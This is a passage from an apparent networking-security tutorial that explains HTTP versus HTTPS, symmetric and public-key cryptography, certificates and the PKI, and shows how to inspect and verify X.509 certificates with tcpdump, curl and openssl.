For example, a classical HTTP connection is plain text and thus non-confidential. Let’s exemplify this. On one terminal, start a tcpdump capture session for HTTP connections:

$ sudo tcpdump -A tcp port 80

On another terminal, make an HTTP connection using curl:

$ curl http://elf.cs.pub.ro

As the connection is HTTP, you will see plain text messages as part of the tcpdump output:

Host: elf.cs.pub.ro
User-Agent: curl/7.58.0
Accept: */*

[...]
Date: Sun, 03 Jul 2022 15:51:46 GMT
Server: Apache/2.4.38 (Debian)
Last-Modified: Mon, 02 Aug 2010 17:58:06 GMT
ETag: "a8-48cdaf14da780"
Accept-Ranges: bytes
Content-Length: 168
Vary: Accept-Encoding
Content-Type: text/html

<html>
	<head>
		<meta name="google-site-verification" content="gTsIxyV43HSJraRPl6X1A5jzGFgQ3N__hKAcuL2QsO8" />
	</head>

	<body>
		<h1>It works!</h1>
	</body>
</html>

However, if we used curl and an HTTPS connection:

$ curl https://elf.cs.pub.ro

there would be no plain text output on the tcpdump console, because the connection is using a confidential (encrypted) channel.

The same traffic inspection can be done in a more visual manner using Wireshark.

As long as traffic is not encrypted, an attacker able to capture packets (either fooling someone to get the data or simply accessing a networking equipment along the way) will read the traffic contents. HTTPS uses public key cryptography to ensure the confidentiality of network traffic.

Public Key Cryptography. Certificates

There are mainly two types of encryption: symmetric and public-key encryption.

In symmetric encryption, a key is shared among the two ends in the communication.

symmetric encryption

That same key is used for both encrypting and decrypting data. AES (Advanced Encryption Standard) is the standard symmetric encryption algorithm. The main benefit of symmetric encryption algorithms is their relative simplicity and speed: they are easy to implement and are fast, with the option of having hardware support. The downside is related to the shared key. If the key is captured by an attacker or if it is lost by one of the ends, confidentiality is compromised.

So, the goal is that each connection should use a temporary shared key. After the connection ends, the shared key is discarded. A new connection will generate a new key. Of course, that shared key must be known only by the two ends. For this two happen, key exchange algorithms, such as Diffie Hellman are used.

Diffie-Hellman (often abbreviated as DH) is based on public-key encryption. In short we use public-key encryption to set up a temporary shared key for the actual communication.

Public-key encryption, as its name implies, relies on a pair of private and public keys that are connected mathematically. RSA (Rivest Shamir Adleman - named after its inventors) is the classical public key cryptographic algorithm. The private key is generated as a random set of bytes and the public key is generated from it, via a mathematical algorithm. The private key is only available to the owner, whereas the public key is available to everyone. Anyone can encrypt a message using the public key, but only the owner can decrypt the message using the private key, as shown below.

public-key encryption

Because of this, public-key encryption is considered more secure than symmetric encryption, as it doesn’t require the passing of a shared key between parties, an act that may be intercepted. At the same time, public-key encryption is much slower than symmetric encryption. Because of this, public-key encryption is only used to set up an initial session and enable a key exchange algorithm (such as Diffie-Hellman) to generate a temporary session-specific shared key.

Identity Management. Certificates

A public-private key pair is not only used for encryption. It’s also used for identity management.

Identity management means making sure a given entity is who they claim they are. In HTTPS that means that if we connect to google.com we are offered guarantees that the server we connect to is indeed google.com. Otherwise, another server could impersonate the target server and capture all traffic.

Identity management relies on signing and verifying messages using public-private keys. The private key is used to sign a message. The signed message is provided publicly. Then, the public key is used to verify the message. This is called a digital signature, as shown below:

digital signature

In HTTPS, this means that the web server will sign the message with its private key and web clients will verify the message with the public key.

In order for this to work, the public key has to be attached the identity: the name of the server. This is done via a digital certificate. A certificate is a file that consists of a public key and an identity. A certificate itself is also signed to ensure its validity. This means that a certificate will also be verified using a public key, found as part of another certificate, as shown below:

digital certificate

This dependency between certificates creates a public-key infrastructure (PKI), on top of which self-signed root certificates are located. Self-signed root certificates part of Certification Authorities. These are entities that sign other certificates to validate the binding of a public key to an identity.

A browser stores root certificates as part of its default installation. Each connection to the server will get the server to provide the certificate: identity and public key. The browser uses the root certificate and intermediary certificates to verify the certificate. After its verification the public key is used to create the actual HTTPS (secure) connection.

Inspecting Certificates

To get a better understanding of how certificates work, let’s take a look at one.

In order to get a certificate to inspect, it is easiest to export a root certificate from a browser. In Firefox, we can use the Certificate Manager, as shown in the image below to export a certificate:

Firefox Certificate Manager

The CA (root) certificate from Verisign is located in assets/VerisignClass1PublicPrimaryCertificationAuthority-G3.crt. The certificate, as most certificates, is exported in PEM (Privacy Enhanced Mail) format, a Base64 encoding:

$ cat assets/VerisignClass1PublicPrimaryCertificationAuthority-G3.crt
-----BEGIN CERTIFICATE-----
MIIEGjCCAwICEQCLW3VWhFSFCwDPrzhIzrGkMA0GCSqGSIb3DQEBBQUAMIHKMQsw
CQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZl
cmlTaWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAxOTk5IFZlcmlTaWdu
LCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlT
aWduIENsYXNzIDEgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3Jp
dHkgLSBHMzAeFw05OTEwMDEwMDAwMDBaFw0zNjA3MTYyMzU5NTlaMIHKMQswCQYD
VQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlT
aWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAxOTk5IFZlcmlTaWduLCBJ
bmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWdu
IENsYXNzIDEgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkg
LSBHMzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAN2E1Lm0+afY8wR4
nN493GwTFtl63SRRZsDHJlkNrAYIwpTRMx/wgzUfbhvI3qpuFU5UJ+/EbRrsC+MO
8ESlV8dAWB6jRx9x7GD2bZTIGDnt/kIYVt/kTEkQeE4BdjVjEjbdZrwBBDajVWjV
ojYJrKshJlQGrT/KFOCsyq0GHZXi+J3x4GD/wn91K0zM2v6HmSHquv4+VNfSWXjb
PG7PoBMAGrgnoeS+Z5bKoMWznN3JdZ7rMJpfo83ZrngZPyPpXNspva1VyBtUjGP2
6KbqxzcSXKMpHgLZ2x87tNcPVkeBFQRKr4Mn0cVYiMHd9qqnoxjaaKptEVHhv2Vr
n5Z20T0CAwEAATANBgkqhkiG9w0BAQUFAAOCAQEAq2aN17O6x5q25lXQBfGfMY1a
qtmqRiYPce2lrVNWYgFHKkTp/j90CxObufRNG7LRX7K20ohcs5/Ny9Sn2WCVhDr4
wTcdYcrnsMXlkdpUpqwxga6X3s0IrLjAl4B/bnKk52kTlWUfxJM8/XmPBNQ+T+r3
ns7NZ3xPZQL/kYVUc8f/NveGLezQXk//EZ9yBta4GvFMDSZl4kSAHsef493oCtrs
pSCAaWihT37ha88HQfqDjrw43bAuEbFrskLMmrz5SCJ5ShkPshw+IHTZasO+8ih4
E1Z5T21Q6huwtVexN2ZYI/PcD98Kh8TvhgXVOBRgmaNL3gaWcSzy27YfpO8/7g==
-----END CERTIFICATE-----

In its basic format, the certificate is a binary file. The PEM format is used to make it printable. The PEM format is also used for storing private and public SSH keys, so it may seem familiar.

We can inspect the certificate with openssl:

$ openssl x509 -noout -text -in assets/VerisignClass1PublicPrimaryCertificationAuthority-G3.crt
Certificate:
    Data:
        Version: 1 (0x0)
        Serial Number:
            8b:5b:75:56:84:54:85:0b:00:cf:af:38:48:ce:b1:a4
        Signature Algorithm: sha1WithRSAEncryption
        Issuer: C = US, O = "VeriSign, Inc.", OU = VeriSign Trust Network, OU = "(c) 1999 VeriSign, Inc. - For authorized use only", CN = VeriSign Class 1 Public Primary Certification Authority - G3
        Validity
            Not Before: Oct  1 00:00:00 1999 GMT
            Not After : Jul 16 23:59:59 2036 GMT
        Subject: C = US, O = "VeriSign, Inc.", OU = VeriSign Trust Network, OU = "(c) 1999 VeriSign, Inc. - For authorized use only", CN = VeriSign Class 1 Public Primary Certification Authority - G3
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (2048 bit)
                Modulus:
                    00:dd:84:d4:b9:b4:f9:a7:d8:f3:04:78:9c:de:3d:
                    dc:6c:13:16:d9:7a:dd:24:51:66:c0:c7:26:59:0d:
                    ac:06:08:c2:94:d1:33:1f:f0:83:35:1f:6e:1b:c8:
                    de:aa:6e:15:4e:54:27:ef:c4:6d:1a:ec:0b:e3:0e:
                    f0:44:a5:57:c7:40:58:1e:a3:47:1f:71:ec:60:f6:
                    6d:94:c8:18:39:ed:fe:42:18:56:df:e4:4c:49:10:
                    78:4e:01:76:35:63:12:36:dd:66:bc:01:04:36:a3:
                    55:68:d5:a2:36:09:ac:ab:21:26:54:06:ad:3f:ca:
                    14:e0:ac:ca:ad:06:1d:95:e2:f8:9d:f1:e0:60:ff:
                    c2:7f:75:2b:4c:cc:da:fe:87:99:21:ea:ba:fe:3e:
                    54:d7:d2:59:78:db:3c:6e:cf:a0:13:00:1a:b8:27:
                    a1:e4:be:67:96:ca:a0:c5:b3:9c:dd:c9:75:9e:eb:
                    30:9a:5f:a3:cd:d9:ae:78:19:3f:23:e9:5c:db:29:
                    bd:ad:55:c8:1b:54:8c:63:f6:e8:a6:ea:c7:37:12:
                    5c:a3:29:1e:02:d9:db:1f:3b:b4:d7:0f:56:47:81:
                    15:04:4a:af:83:27:d1:c5:58:88:c1:dd:f6:aa:a7:
                    a3:18:da:68:aa:6d:11:51:e1:bf:65:6b:9f:96:76:
                    d1:3d
                Exponent: 65537 (0x10001)
    Signature Algorithm: sha1WithRSAEncryption
         ab:66:8d:d7:b3:ba:c7:9a:b6:e6:55:d0:05:f1:9f:31:8d:5a:
         aa:d9:aa:46:26:0f:71:ed:a5:ad:53:56:62:01:47:2a:44:e9:
         fe:3f:74:0b:13:9b:b9:f4:4d:1b:b2:d1:5f:b2:b6:d2:88:5c:
         b3:9f:cd:cb:d4:a7:d9:60:95:84:3a:f8:c1:37:1d:61:ca:e7:
         b0:c5:e5:91:da:54:a6:ac:31:81:ae:97:de:cd:08:ac:b8:c0:
         97:80:7f:6e:72:a4:e7:69:13:95:65:1f:c4:93:3c:fd:79:8f:
         04:d4:3e:4f:ea:f7:9e:ce:cd:67:7c:4f:65:02:ff:91:85:54:
         73:c7:ff:36:f7:86:2d:ec:d0:5e:4f:ff:11:9f:72:06:d6:b8:
         1a:f1:4c:0d:26:65:e2:44:80:1e:c7:9f:e3:dd:e8:0a:da:ec:
         a5:20:80:69:68:a1:4f:7e:e1:6b:cf:07:41:fa:83:8e:bc:38:
         dd:b0:2e:11:b1:6b:b2:42:cc:9a:bc:f9:48:22:79:4a:19:0f:
         b2:1c:3e:20:74:d9:6a:c3:be:f2:28:78:13:56:79:4f:6d:50:
         ea:1b:b0:b5:57:b1:37:66:58:23:f3:dc:0f:df:0a:87:c4:ef:
         86:05:d5:38:14:60:99:a3:4b:de:06:96:71:2c:f2:db:b6:1f:
         a4:ef:3f:ee

The options passed to the openssl command are:

  • x509: work with X.509 certificates - a standard for certificates
  • -noout: do not print the PEM output of the certificate
  • -text: print as text the contents of the certificate
  • -in: the input certificate file

As shown in the output, a certificate comprises of data and the signature of that data. The data is primarily composed of the:

  • identity (the Subject attribute): C = US, O = "VeriSign, Inc.", OU = VeriSign Trust Network, OU = "(c) 1999 VeriSign, Inc. - For authorized use only", CN = VeriSign Class 1 Public Primary Certification Authority - G3
  • the public key (comprised of a Modulus and Exponent)

There are two other important items:

  • the issuer, i.e. the entity that signed the certificate; in this case, it’s a self signed certificate, so the Issuer is the same as the Subject
  • the validity of the certificate, in this case it’s July 16, 2036

Generally, a certificate is only valid for one year and then it will have to be renewed. Renewing means a new public key is generated and, together with the same identity information, a new certificate.

The openssl utility has command-line options to only print parts of the certificate. For example, to only print the issuer or the public key, we would use the -issuer or -pubkey options:

$ openssl x509 -noout -issuer -in assets/VerisignClass1PublicPrimaryCertificationAuthority-G3.crt
issuer=C = US, O = "VeriSign, Inc.", OU = VeriSign Trust Network, OU = "(c) 1999 VeriSign, Inc. - For authorized use only", CN = VeriSign Class 1 Public Primary Certification Authority - G3

$ openssl x509 -noout -pubkey -in assets/VerisignClass1PublicPrimaryCertificationAuthority-G3.crt
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3YTUubT5p9jzBHic3j3c
bBMW2XrdJFFmwMcmWQ2sBgjClNEzH/CDNR9uG8jeqm4VTlQn78RtGuwL4w7wRKVX
x0BYHqNHH3HsYPZtlMgYOe3+QhhW3+RMSRB4TgF2NWMSNt1mvAEENqNVaNWiNgms
qyEmVAatP8oU4KzKrQYdleL4nfHgYP/Cf3UrTMza/oeZIeq6/j5U19JZeNs8bs+g
EwAauCeh5L5nlsqgxbOc3cl1nuswml+jzdmueBk/I+lc2ym9rVXIG1SMY/bopurH
NxJcoykeAtnbHzu01w9WR4EVBEqvgyfRxViIwd32qqejGNpoqm0RUeG/ZWuflnbR
PQIDAQAB
-----END PUBLIC KEY-----

Verifying Certificates

As the VeriSign certificate is self-signed, we can use it to verify itself:

$ openssl verify -CAfile assets/VerisignClass1PublicPrimaryCertificationAuthority-G3.crt assets/VerisignClass1PublicPrimaryCertificationAuthority-G3.crt
assets/VerisignClass1PublicPrimaryCertificationAuthority-G3.crt: OK

The -CAfile option points to the CA certificate to verify the current one. As this is is a self signed certificate, we use itself as CA.

HTTPS, SSL and TLS

HTTPS is the secure version of HTTP providing identity management, confidentiality and integrity. HTTPS relies on at least the HTTP server providing a certificate that validates the identity. The client can also do that, as part of client certificate authentication.

After validating the identity of the server, the client-server pair create a secure channel by agreeing on a per-session shared symmetric encryption key. This is negotiated via a key-exchange algorithm such as Diffie-Hellman. Then, all traffic between client and server will be encrypted.

This entire process is facilitated by the use of SSL (Secure Sockets Layer) or TLS (Transport Layer Security). We say that HTTPS is HTTP plus SSL / TLS support. Note that this is the case with other secure protocol variants such as SMTPS, IMAPS, LDAPS.

SSL / TLS usually refer to the same thing. TLS is a newer version of the protocol. Version are SSL1.0, SSL2.0, SSL3.0, TLS1.0, TLS1.1, TLS1.2, TLS1.3. Each newer version comes with fixes and extra security guarantees. Nowadays (2022) all SSL versions and TLS1.0 are considered insecure. This is due both to internal design issues and to weak cryptographic algorithms or the allowing cryptographic keys of insufficient size.

A summary of attacks on SSL / TLS is summarized as part of RFC 7457. Additional information can be found here and here. Well known SSL / TLS attacks are:

A typical target of the attacker is downgrading the connection from HTTPS to HTTP. Or downgrading the SSL / TLS protocol version to a less secure variant. Read more on protocol downgrade here.

Capturing, Inspecting and Verifying HTTPS Certificates

If you want to extract and inspect the certificate of an HTTPS server we would use the command below:

$ openssl s_client -showcerts -connect www.google.com:443 -servername www.google.com < /dev/null
CONNECTED(00000005)
depth=2 C = US, O = Google Trust Services LLC, CN = GTS Root R1
verify return:1
depth=1 C = US, O = Google Trust Services LLC, CN = GTS CA 1C3
verify return:1
depth=0 CN = www.google.com
verify return:1
---
Certificate chain
 0 s:CN = www.google.com
   i:C = US, O = Google Trust Services LLC, CN = GTS CA 1C3
-----BEGIN CERTIFICATE-----
MIIEiTCCA3GgAwIBAgIRAJ8HSxF0Xxb8EiN1+lh5k/AwDQYJKoZIhvcNAQELBQAw
RjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBM
TEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjIwNjA2MDk0MDAwWhcNMjIwODI5
MDkzOTU5WjAZMRcwFQYDVQQDEw53d3cuZ29vZ2xlLmNvbTBZMBMGByqGSM49AgEG
CCqGSM49AwEHA0IABD8O7cXWSPQhh/GihqJi+gdtpS0vAt2GeDRHBaVeB8x5dDtx
3us2TGW2WJGfC7VeSVHCX1uDXkjAIOTauMUjCu2jggJoMIICZDAOBgNVHQ8BAf8E
BAMCB4AwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUWVwHKuk+m9ZD0/h/+Jsgactucp8wHwYDVR0jBBgwFoAUinR/r4XN7pXNPZzQ
4kYU83E1HScwagYIKwYBBQUHAQEEXjBcMCcGCCsGAQUFBzABhhtodHRwOi8vb2Nz
cC5wa2kuZ29vZy9ndHMxYzMwMQYIKwYBBQUHMAKGJWh0dHA6Ly9wa2kuZ29vZy9y
ZXBvL2NlcnRzL2d0czFjMy5kZXIwGQYDVR0RBBIwEIIOd3d3Lmdvb2dsZS5jb20w
IQYDVR0gBBowGDAIBgZngQwBAgEwDAYKKwYBBAHWeQIFAzA8BgNVHR8ENTAzMDGg
L6AthitodHRwOi8vY3Jscy5wa2kuZ29vZy9ndHMxYzMvUU92SjBOMXNUMkEuY3Js
MIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDxAHYAUaOw9f0BeZxWbbg3eI8MpHrMGyfL
956IQpoN/tSLBeUAAAGBOJmjFwAABAMARzBFAiEA7Pub0IWm5kMWJrfJGLqP4lZU
71J6No/RLMwsvXWzVfACICJMzt/AFBsNQ1t970tVRnhmgsgz2s6deykihInBRfZR
AHcARqVV63X6kSAwtaKJafTzfREsQXS+/Um4havy/HD+bUcAAAGBOJmjPwAABAMA
SDBGAiEA92vym4NTX/SmjhAx7ICLE4KXpQFsWfhvRf1m5B6qby8CIQCVyyWh2t22
UhaaKSS+nIypJ9jWtOO4wG1gVkty8c/XETANBgkqhkiG9w0BAQsFAAOCAQEAI8fX
MKLNXXoMJk6WTJvV1ORE6kYVtyZm0wM64yV9V1zmksWDgOx9xHmoAUTQYeSq6rhI
tTxgb9EmDF8gVrOXwY31WpWjJyJQAfQcn3LhPUzJnr8yqyiwfVD1FG5gKQTTlblr
g9sZ+zfETFPXTFJeGT5yBxcT8xQDQNERblVkaQ1H5f2XYuXAJJ4vlNCu7AFil1tp
U4bau/EfQPx5Jd1bLxJwbeF9FbuQvcMeow+4ElcpC5BSkzsRk7lUbZfj7NWZas5t
3yp0UncNl+Pib3p0ooLDJ3HQvlQuL4AAg2nYkL+UKusZ9d/22RmbiyGkqr+3L/3+
PKvAVy9/DNPwW3YUbQ==
-----END CERTIFICATE-----
 1 s:C = US, O = Google Trust Services LLC, CN = GTS CA 1C3
   i:C = US, O = Google Trust Services LLC, CN = GTS Root R1
-----BEGIN CERTIFICATE-----
MIIFljCCA36gAwIBAgINAgO8U1lrNMcY9QFQZjANBgkqhkiG9w0BAQsFADBHMQsw
CQYDVQQGEwJVUzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEU
MBIGA1UEAxMLR1RTIFJvb3QgUjEwHhcNMjAwODEzMDAwMDQyWhcNMjcwOTMwMDAw
MDQyWjBGMQswCQYDVQQGEwJVUzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZp
Y2VzIExMQzETMBEGA1UEAxMKR1RTIENBIDFDMzCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAPWI3+dijB43+DdCkH9sh9D7ZYIl/ejLa6T/belaI+KZ9hzp
kgOZE3wJCor6QtZeViSqejOEH9Hpabu5dOxXTGZok3c3VVP+ORBNtzS7XyV3NzsX
lOo85Z3VvMO0Q+sup0fvsEQRY9i0QYXdQTBIkxu/t/bgRQIh4JZCF8/ZK2VWNAcm
BA2o/X3KLu/qSHw3TT8An4Pf73WELnlXXPxXbhqW//yMmqaZviXZf5YsBvcRKgKA
gOtjGDxQSYflispfGStZloEAoPtR28p3CwvJlk/vcEnHXG0g/Zm0tOLKLnf9LdwL
tmsTDIwZKxeWmLnwi/agJ7u2441Rj72ux5uxiZ0CAwEAAaOCAYAwggF8MA4GA1Ud
DwEB/wQEAwIBhjAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwEgYDVR0T
AQH/BAgwBgEB/wIBADAdBgNVHQ4EFgQUinR/r4XN7pXNPZzQ4kYU83E1HScwHwYD
VR0jBBgwFoAU5K8rJnEaK0gnhS9SZizv8IkTcT4waAYIKwYBBQUHAQEEXDBaMCYG
CCsGAQUFBzABhhpodHRwOi8vb2NzcC5wa2kuZ29vZy9ndHNyMTAwBggrBgEFBQcw
AoYkaHR0cDovL3BraS5nb29nL3JlcG8vY2VydHMvZ3RzcjEuZGVyMDQGA1UdHwQt
MCswKaAnoCWGI2h0dHA6Ly9jcmwucGtpLmdvb2cvZ3RzcjEvZ3RzcjEuY3JsMFcG
A1UdIARQME4wOAYKKwYBBAHWeQIFAzAqMCgGCCsGAQUFBwIBFhxodHRwczovL3Br
aS5nb29nL3JlcG9zaXRvcnkvMAgGBmeBDAECATAIBgZngQwBAgIwDQYJKoZIhvcN
AQELBQADggIBAIl9rCBcDDy+mqhXlRu0rvqrpXJxtDaV/d9AEQNMwkYUuxQkq/BQ
cSLbrcRuf8/xam/IgxvYzolfh2yHuKkMo5uhYpSTld9brmYZCwKWnvy15xBpPnrL
RklfRuFBsdeYTWU0AIAaP0+fbH9JAIFTQaSSIYKCGvGjRFsqUBITTcFTNvNCCK9U
+o53UxtkOCcXCb1YyRt8OS1b887U7ZfbFAO/CVMkH8IMBHmYJvJh8VNS/UKMG2Yr
PxWhu//2m+OBmgEGcYk1KCTd4b3rGS3hSMs9WYNRtHTGnXzGsYZbr8w0xNPM1IER
lQCh9BIiAfq0g3GvjLeMcySsN1PCAJA/Ef5c7TaUEDu9Ka7ixzpiO2xj2YC/WXGs
Yye5TBeg2vZzFb8q3o/zpWwygTMD0IZRcZk0upONXbVRWPeyk+gB9lm+cZv9TSjO
z23HFtz30dZGm6fKa+l3D/2gthsjgx0QGtkJAITgRNOidSOzNIb2ILCkXhAd4FJG
AJ2xDx8hcFH1mt0G/FX0Kw4zd8NLQsLxdxP8c4CU6x+7Nz/OAipmsHMdMqUybDKw
juDEI/9bfU1lcKwrmz3O2+BtjjKAvpafkmO8l7tdufThcV4q5O8DIrGKZTqPwJNl
1IXNDw9bg1kWRxYtnCQ6yICmJhSFm/Y3m6xv+cXDBlHz4n/FsRC6UfTd
-----END CERTIFICATE-----
 2 s:C = US, O = Google Trust Services LLC, CN = GTS Root R1
   i:C = BE, O = GlobalSign nv-sa, OU = Root CA, CN = GlobalSign Root CA
-----BEGIN CERTIFICATE-----
MIIFYjCCBEqgAwIBAgIQd70NbNs2+RrqIQ/E8FjTDTANBgkqhkiG9w0BAQsFADBX
MQswCQYDVQQGEwJCRTEZMBcGA1UEChMQR2xvYmFsU2lnbiBudi1zYTEQMA4GA1UE
CxMHUm9vdCBDQTEbMBkGA1UEAxMSR2xvYmFsU2lnbiBSb290IENBMB4XDTIwMDYx
OTAwMDA0MloXDTI4MDEyODAwMDA0MlowRzELMAkGA1UEBhMCVVMxIjAgBgNVBAoT
GUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxFDASBgNVBAMTC0dUUyBSb290IFIx
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAthECix7joXebO9y/lD63
ladAPKH9gvl9MgaCcfb2jH/76Nu8ai6Xl6OMS/kr9rH5zoQdsfnFl97vufKj6bwS
iV6nqlKr+CMny6SxnGPb15l+8Ape62im9MZaRw1NEDPjTrETo8gYbEvs/AmQ351k
KSUjB6G00j0uYODP0gmHu81I8E3CwnqIiru6z1kZ1q+PsAewnjHxgsHA3y6mbWwZ
DrXYfiYaRQM9sHmklCitD38m5agI/pboPGiUU+6DOogrFZYJsuB6jC511pzrp1Zk
j5ZPaK49l8KEj8C8QMALXL32h7M1bKwYUH+E4EzNktMg6TO8UpmvMrUpsyUqtEj5
cuHKZPfmghCN6J3Cioj6OGaK/GP5Afl4/Xtcd/p2h/rs37EOeZVXtL0m79YB0esW
CruOC7XFxYpVq9Os6pFLKcwZpDIlTirxZUTQAs6qzkm06p98g7BAe+dDq6dso499
iYH6TKX/1Y7DzkvgtdizjkXPdsDtQCv9Uw+wp9U7DbGKogPeMa3Md+pvez7W35Ei
Eua++tgy/BBjFFFy3l3WFpO9KWgz7zpm7AeKJt8T11dleCfeXkkUAKIAf5qoIbap
sZWwpbkNFhHax2xIPEDgfg1azVY80ZcFuctL7TlLnMQ/0lUTbiSw1nH69MG6zO0b
9f6BQdgAmD06yK56mDcYBZUCAwEAAaOCATgwggE0MA4GA1UdDwEB/wQEAwIBhjAP
BgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBTkrysmcRorSCeFL1JmLO/wiRNxPjAf
BgNVHSMEGDAWgBRge2YaRQ2XyolQL30EzTSo//z9SzBgBggrBgEFBQcBAQRUMFIw
JQYIKwYBBQUHMAGGGWh0dHA6Ly9vY3NwLnBraS5nb29nL2dzcjEwKQYIKwYBBQUH
MAKGHWh0dHA6Ly9wa2kuZ29vZy9nc3IxL2dzcjEuY3J0MDIGA1UdHwQrMCkwJ6Al
oCOGIWh0dHA6Ly9jcmwucGtpLmdvb2cvZ3NyMS9nc3IxLmNybDA7BgNVHSAENDAy
MAgGBmeBDAECATAIBgZngQwBAgIwDQYLKwYBBAHWeQIFAwIwDQYLKwYBBAHWeQIF
AwMwDQYJKoZIhvcNAQELBQADggEBADSkHrEoo9C0dhemMXoh6dFSPsjbdBZBiLg9
NR3t5P+T4Vxfq7vqfM/b5A3Ri1fyJm9bvhdGaJQ3b2t6yMAYN/olUazsaL+yyEn9
WprKASOshIArAoyZl+tJaox118fessmXn1hIVw41oeQa1v1vg4Fv74zPl6/AhSrw
9U5pCZEt4Wi4wStz6dTZ/CLANx8LZh1J7QJVj2fhMtfTJr9w4z30Z209fOU0iOMy
+qduBmpvvYuR7hZL6Dupszfnw0Skfths18dG9ZKb59UhvmaSGZRVbNQpsg3BZlvi
d0lIKO2d1xozclOzgjXPYovJJIultzkMu34qQb9Sz/yilrbCgj8=
-----END CERTIFICATE-----
---
Server certificate
subject=CN = www.google.com

issuer=C = US, O = Google Trust Services LLC, CN = GTS CA 1C3

---
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: ECDSA
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 4295 bytes and written 396 bytes
Verification: OK
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 256 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 0 (ok)
---
DONE

The command is pretty verbose. We can make it print just the certificates by using:

$ openssl s_client -showcerts -connect www.google.com:443 -servername www.google.com < /dev/null 2> /dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p'
-----BEGIN CERTIFICATE-----
MIIEiTCCA3GgAwIBAgIRAJ8HSxF0Xxb8EiN1+lh5k/AwDQYJKoZIhvcNAQELBQAw
RjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBM
TEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjIwNjA2MDk0MDAwWhcNMjIwODI5
MDkzOTU5WjAZMRcwFQYDVQQDEw53d3cuZ29vZ2xlLmNvbTBZMBMGByqGSM49AgEG
CCqGSM49AwEHA0IABD8O7cXWSPQhh/GihqJi+gdtpS0vAt2GeDRHBaVeB8x5dDtx
3us2TGW2WJGfC7VeSVHCX1uDXkjAIOTauMUjCu2jggJoMIICZDAOBgNVHQ8BAf8E
BAMCB4AwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUWVwHKuk+m9ZD0/h/+Jsgactucp8wHwYDVR0jBBgwFoAUinR/r4XN7pXNPZzQ
4kYU83E1HScwagYIKwYBBQUHAQEEXjBcMCcGCCsGAQUFBzABhhtodHRwOi8vb2Nz
cC5wa2kuZ29vZy9ndHMxYzMwMQYIKwYBBQUHMAKGJWh0dHA6Ly9wa2kuZ29vZy9y
ZXBvL2NlcnRzL2d0czFjMy5kZXIwGQYDVR0RBBIwEIIOd3d3Lmdvb2dsZS5jb20w
IQYDVR0gBBowGDAIBgZngQwBAgEwDAYKKwYBBAHWeQIFAzA8BgNVHR8ENTAzMDGg
L6AthitodHRwOi8vY3Jscy5wa2kuZ29vZy9ndHMxYzMvUU92SjBOMXNUMkEuY3Js
MIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDxAHYAUaOw9f0BeZxWbbg3eI8MpHrMGyfL
956IQpoN/tSLBeUAAAGBOJmjFwAABAMARzBFAiEA7Pub0IWm5kMWJrfJGLqP4lZU
71J6No/RLMwsvXWzVfACICJMzt/AFBsNQ1t970tVRnhmgsgz2s6deykihInBRfZR
AHcARqVV63X6kSAwtaKJafTzfREsQXS+/Um4havy/HD+bUcAAAGBOJmjPwAABAMA
SDBGAiEA92vym4NTX/SmjhAx7ICLE4KXpQFsWfhvRf1m5B6qby8CIQCVyyWh2t22
UhaaKSS+nIypJ9jWtOO4wG1gVkty8c/XETANBgkqhkiG9w0BAQsFAAOCAQEAI8fX
MKLNXXoMJk6WTJvV1ORE6kYVtyZm0wM64yV9V1zmksWDgOx9xHmoAUTQYeSq6rhI
tTxgb9EmDF8gVrOXwY31WpWjJyJQAfQcn3LhPUzJnr8yqyiwfVD1FG5gKQTTlblr
g9sZ+zfETFPXTFJeGT5yBxcT8xQDQNERblVkaQ1H5f2XYuXAJJ4vlNCu7AFil1tp
U4bau/EfQPx5Jd1bLxJwbeF9FbuQvcMeow+4ElcpC5BSkzsRk7lUbZfj7NWZas5t
3yp0UncNl+Pib3p0ooLDJ3HQvlQuL4AAg2nYkL+UKusZ9d/22RmbiyGkqr+3L/3+
PKvAVy9/DNPwW3YUbQ==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIFljCCA36gAwIBAgINAgO8U1lrNMcY9QFQZjANBgkqhkiG9w0BAQsFADBHMQsw
